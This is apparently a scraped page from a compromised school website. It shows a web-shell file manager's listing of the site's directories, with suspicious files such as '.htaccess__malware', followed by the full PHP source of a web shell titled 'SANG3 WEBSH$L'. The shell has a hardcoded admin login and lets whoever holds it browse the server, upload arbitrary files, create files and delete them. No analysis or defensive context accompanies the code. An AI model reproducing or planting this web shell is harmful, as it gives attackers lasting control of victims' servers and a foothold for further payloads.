Gecko [ sy.ac.th ]

Name	Size	Permission	Date
.DS_Store	[ DIR ]	drwxr-xr-x	2025-06-14 14:27
UserFiles	[ DIR ]	drwxrwxrwx	2020-12-24 12:50
ai	[ DIR ]	drwxr-xr-x	2026-07-25 02:31
assets	[ DIR ]	drwxr-xr-x	2026-07-29 17:22
attach	[ DIR ]	drwxrwxrwx	2025-10-23 17:58
backup	[ DIR ]	drwxrwxrwx	2026-07-25 02:32
capcha	[ DIR ]	drwxrwxrwx	2026-04-13 17:32
capcha_	[ DIR ]	drwxrwxrwx	2025-09-11 20:44
cgi-bin	[ DIR ]	drwxr-xr-x	2017-10-05 10:48
ckeditor	[ DIR ]	drwxrwxrwx	2026-04-13 17:23
ckfinder	[ DIR ]	drwxrwxrwx	2026-04-13 19:01
css	[ DIR ]	drwxrwxrwx	2026-07-29 17:18
data	[ DIR ]	drwxrwxrwx	2026-07-01 23:22
highslide	[ DIR ]	drwxrwxrwx	2026-04-13 14:35
home	[ DIR ]	drwxr-xr-x	2026-04-17 17:48
icon	[ DIR ]	drwxrwxrwx	2026-07-22 11:44
images	[ DIR ]	drwxr-xr-x	2025-12-16 07:30
includes	[ DIR ]	drwxrwxrwx	2025-08-19 00:24
install.bak	[ DIR ]	drwxrwxrwx	2019-11-24 15:24
js	[ DIR ]	drwxrwxrwx	2026-07-25 02:32
lang	[ DIR ]	drwxrwxrwx	2025-06-18 20:43
modules	[ DIR ]	drwxrwxrwx	2026-04-13 21:08
photo	[ DIR ]	drwxr-xr-x	2026-07-25 02:32
sekolah-putri-yala	[ DIR ]	drwxr-xr-x	2025-03-28 20:49
templates	[ DIR ]	drwxrwxrwx	2012-10-17 20:01
video	[ DIR ]	drwxrwxrwx	2026-08-01 02:02
web2	[ DIR ]	drwxrwxrwx	2026-04-13 15:11
webboard_upload	[ DIR ]	drwxrwxrwx	2026-07-25 02:33
win	[ DIR ]	drwxrwxrwx	2026-07-25 02:33
.htaccess	767 B	-rw-r--r--	2025-08-28 10:15
.htaccess__malware	0 B	-rw-rw-rw-	2025-08-08 14:55
atomymax2.5_hi.zip	13.54 MB	-rwxrwxrwx	2015-09-13 21:24
bot.php	8.28 KB	-rwxrwxrwx	2012-12-03 20:35
bots.txt	40 B	-rwxrwxrwx	2012-10-11 11:13
createpdf.php	4.44 KB	-rwxrwxrwx	2012-06-22 20:56
domap.xml	2.35 MB	-rw-rw-rw-	2018-12-06 15:06
download.dat	141.73 KB	-rwxrwxrwx	2026-07-21 17:18
editor.php	2.34 KB	-rwxrwxrwx	2012-03-07 08:33
googlebdc637812fd99722.html	53 B	-rwxrwxrwx	2026-03-27 10:18
googlec8d0a47d72efff0d.html	53 B	-rw-rw-rw-	2018-12-06 15:06
googlef357a801ad0c96de.html	53 B	-rw-r--r--	2025-03-28 15:08
htaccess.txt	380 B	-rwxrwxrwx	2012-09-09 10:56
index.htm	1001 B	-rw-r--r--	2016-11-08 13:44
index.php	5.11 KB	-r--r--r--	2013-04-26 09:57
index2.php	4.9 KB	-rw-r--r--	2018-12-06 15:06
index2.php_	127.83 KB	-rwxrwxrwx	2026-03-24 13:03
info.php	6.02 KB	-rw-rw-rw-	2025-12-01 13:57
mainfile.php	4.57 KB	-rw-r--r--	2016-11-10 10:57
mainfile.php.old_hack_chek	5.74 KB	-rwxrwxrwx	2013-08-31 15:03
offline.php	946 B	-rwxrwxrwx	2012-06-09 07:44
pages.php	75.75 KB	-rw-rw-rw-	2016-11-08 13:44
popup.php	1.69 KB	-rwxrwxrwx	2012-12-10 11:28
print.php	662 B	-rwxrwxrwx	2011-04-21 07:32
readme.txt	1.84 KB	-rwxrwxrwx	2012-06-07 12:20
research.dat	12 B	-rwxrwxrwx	2026-08-08 15:07
robots.txt	174 B	-rwxrwxrwx	2011-04-17 23:09
setconf.php	2.88 KB	-rwxrwxrwx	2012-08-05 21:17
stop.php	0 B	-rwxrwxrwx	2026-04-13 15:17
update-css.php	127.83 KB	-rwxrwxrwx	2026-03-19 22:34
update-css.php.gz	28.15 KB	-rw-r--r--	2025-01-02 11:25

Rename

<?php
error_reporting(E_ALL); // Disarankan menggunakan error_reporting(E_ALL) di PHP 5.x
session_start();

// Ganti sesuai kebutuhan
$USER = "admin";
$PASS_MD5 = "35eef1ad5e3b24162e2bfeb325250ec8"; // md5('admin')

// Handle login
if (isset($_POST['user']) && isset($_POST['pass'])) {
    if ($_POST['user'] === $USER && md5($_POST['pass']) === $PASS_MD5) {
        $_SESSION['login'] = true;
        header("Location: ?");
        exit;
    } else {
        $error = "Login failed.";
    }
}

// Show login form
if (!isset($_SESSION['login'])) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Login</title>
        <style>
            body { background: #111; color: #fff; font-family: monospace; text-align: center; padding-top: 10%; }
            input { background: #222; color: red; padding: 6px; border: 1px solid red; margin: 4px; }
            button { background: red; color: #000; border: none; padding: 6px 12px; }
        </style>
    </head>
    <body>
        <h2><?php echo php_uname()?></h2>
        <?php if (isset($error)) echo "<p style='color:red;'>$error</p>"; ?>
        <form method="POST">
            <input type="text" name="user" placeholder="Username"><br>
            <input type="password" name="pass" placeholder="Password"><br>
            <button type="submit">Login</button>
        </form>
    </body>
    </html>
    <?php
    exit;
}

// --------------- FILE MANAGER START ---------------
$cwd = getcwd();
$dir = isset($_GET['d']) ? $_GET['d'] : '.';
$path = realpath($dir);

// Buat folder
if (isset($_POST['mkdir'])) {
    $folder = $path . '/' . basename($_POST['folder']);
    mkdir($folder);
}

// Buat file
if (isset($_POST['mkfile'])) {
    $file = $path . '/' . basename($_POST['filename']);
    file_put_contents($file, '');
}

// Upload file
if (isset($_FILES['upload'])) {
    move_uploaded_file($_FILES['upload']['tmp_name'], $path . '/' . basename($_FILES['upload']['name']));
}

// Hapus file/folder
if (isset($_GET['delete'])) {
    $target = $path . '/' . basename($_GET['delete']);
    if (is_dir($target)) rmdir($target);
    else unlink($target);
}

$files = scandir($path);
?>
<!DOCTYPE html>
<html>
<head>
    <title>SANG3 WEBSH$L</title>
    <style>
        body {
            background: #0f0f0f;
            color: #fff;
            font-family: monospace;
        }
        h1 { color: #880808; }
        h3 { color:rgb(227, 8, 8); }

table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        th, td {
            padding: 8px;
            border-bottom: 1px solid #444;
            text-align: left;
        }
        a {
            color: rgb(227, 8, 8);
            text-decoration: none;
        }
        .btn {
            background: #111;
            border: 1px solid #666;
            color: #fff;
            padding: 4px 10px;
            margin: 2px;
            cursor: pointer;
        }
        .btn:hover {
            background: #222;
        }
        input[type="text"], input[type="file"] {
            background: #222;
            border: 1px solid #555;
            color: rgb(227, 8, 8);
            padding: 4px;
        }
        .path {
            background: #1c1c1c;
            padding: 8px;
            margin-top: 10px;
            color: rgb(227, 8, 8);
        }
        .perm {
            color:rgb(227, 8, 8);
        }
    </style>
</head>
<body>

<div style="background-color: #1c1c1c; border-left: 4px solid rgb(227, 8, 8); padding-left: 10px; margin-bottom: 10px;">
    <h1>SANG3 WEBSH$L</h1><br>
    <div style="margin-bottom: 5px;">
        <h3 style="display:inline-block; margin:0;">SERVER :</h3>
        <p style="display:inline-block; margin:0 0 0 5px;"><?php echo php_uname(); ?></p>
    </div>
    <div style="margin-bottom: 5px;">
          <h3 style="display:inline-block; margin:0;">IP MU :</h3>
          <p style="display:inline-block; margin:0 0 0 5px;"><?php echo $_SERVER['REMOTE_ADDR']; ?></p>
        </div>
        <div>
          <h3 style="display:inline-block; margin:0;">IP SERVER :</h3>
          <p style="display:inline-block; margin:0 0 0 5px;"><?php echo $_SERVER['SERVER_ADDR']; ?></p>
        </div>
        <div>
          <h3 style="display:inline-block; margin:0;">VERSI PHP : </h3>
          <p style="display:inline-block; margin:0 0 0 5px;"><?php echo phpversion(); ?></p>
        </div>
</div><br>
<div class="path">path: <?= htmlspecialchars($path) ?></div>

<table>
    <thead>
        <tr>
            <th>Name</th><th>Size</th><th>Permission</th><th>Action</th>
        </tr>
    </thead>
    <tbody>
    <?php foreach ($files as $f):
        if ($f === '.') continue;
        $filePath = $path . '/' . $f;
        $isDir = is_dir($filePath);
        $size = $isDir ? '-' : filesize($filePath);
        $perm = substr(sprintf('%o', fileperms($filePath)), -4);
        $link = $isDir ? '?d=' . urlencode($dir . '/' . $f) : $f;
    ?>
        <tr>
            <td><a href="<?= $link ?>"><?= htmlspecialchars($f) ?><?= $isDir ? '/' : '' ?></a></td>
            <td><?= $size ?></td>
            <td class="perm"><?= $perm ?></td>
            <td><a class="btn" href="?d=<?= urlencode($dir) ?>&delete=<?= urlencode($f) ?>">Delete</a></td>
        </tr>
    <?php endforeach; ?>
    </tbody>
</table>
<br><br><br>
<div class="toolbar">
    <form method="POST" enctype="multipart/form-data" style="display:inline;">
        <input type="file" name="upload">
        <button class="btn" type="submit">Upload</button>
    </form>
    <form method="POST" style="display:inline;">
        <input type="text" name="folder" placeholder="Folder name">
        <button class="btn" name="mkdir">+ Create Folder</button>
    </form>
    <form method="POST" style="display:inline;">
        <input type="text" name="filename" placeholder="File name">
        <button class="btn" name="mkfile">+ Create File</button>
    </form>
</div>
</body>
</html>